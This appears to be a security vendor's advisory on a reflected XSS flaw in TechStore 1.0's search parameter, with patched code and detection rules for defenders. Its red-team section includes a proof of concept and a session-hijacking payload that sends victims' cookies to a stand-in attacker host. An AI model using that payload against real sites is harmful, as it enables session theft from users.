CVE-2025-63543

Executive Summary

CVE-2025-63543 is a Cross-Site Scripting (XSS) vulnerability identified in TechStore 1.0, specifically within the /search_results endpoint via the q parameter. This flaw allows an attacker to inject arbitrary JavaScript code into the application, which is then executed in the context of a victim's browser. The vulnerability is publicly known, but no official patch has been released by the vendor, Techstore. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a custom web application vulnerability in TechStore 1.0.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the nature of the vulnerability (Reflected XSS), a typical CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (clicking a crafted link) but can lead to session hijacking, data theft, or defacement.

Deep Dive & Mechanics

The vulnerability exists in the /search_results endpoint of TechStore 1.0. The q parameter is used to pass user input for search functionality. The application fails to sanitize or encode this input before rendering it in the HTML response. An attacker can craft a URL like:

https://target.com/search_results?q=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in their browser. This is a classic Reflected XSS attack. The lack of output encoding or input validation allows arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

<?php
$query = $_GET['q'];
echo "<p>Search results for: " . $query . "</p>";
?>

Patched Code (using htmlspecialchars):

<?php
$query = $_GET['q'];
echo "<p>Search results for: " . htmlspecialchars($query, ENT_QUOTES, 'UTF-8') . "</p>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html -->
<html>
<body>
<script>
var xss_url = "http://target.com/search_results?q=<script>alert('XSS')</script>";
window.location.href = xss_url;
</script>
</body>
</html>

Advanced Payload (Session Hijacking):

// Inject this via the q parameter
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Lab Setup:

1. Deploy TechStore 1.0 on a local server (e.g., XAMPP).
2. Access the vulnerable endpoint: http://localhost/search_results?q=test
3. Inject payload: http://localhost/search_results?q=<script>alert(1)</script>
4. Observe the alert box.

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious q parameter values containing <script>, onerror, javascript:, etc.
2. Use WAF rules to block common XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Log Analysis Example:

grep -E 'q=.*(<script|onerror|javascript:)' /var/log/apache2/access.log

Indicators of Compromise (IOCs)

• URL Pattern: */search_results?q=*<script>*
• HTTP Request: GET request to /search_results with q parameter containing HTML/JavaScript.
• Network Traffic: Outbound connections to attacker-controlled domains from victim's browser.
• Log Entries: "GET /search_results?q=<script>...</script> HTTP/1.1" 200

Detection Engineering

YARA Rule

rule Detect_TechStore_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting TechStore /search_results endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63543"
    strings:
        $xss1 = /q=<script[^>]*>.*<\/script>/i
        $xss2 = /q=.*onerror\s*=/i
        $xss3 = /q=.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: TechStore XSS via q Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against TechStore /search_results endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/search_results?q='
        cs-uri-query|re: '(?i)(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate search queries containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63543 TechStore XSS Attempt"; flow:to_server; content:"/search_results"; http_uri; content:"q="; http_uri; pcre:"/(?i)(<script|onerror|javascript:)/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the q parameter using a whitelist of allowed characters (e.g., alphanumeric and spaces only).
2. Output Encoding: Use htmlspecialchars() or equivalent to encode output.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS patterns.
4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline scripts.

Long-Term Fix:

• Upgrade to a patched version of TechStore (if available).
• Conduct a full security audit of the application.
• Implement secure coding practices (e.g., OWASP guidelines).

Vendor Contact: Since no patch is available, contact Techstore support and request a fix.

Valters IT
Securing Digital Frontiers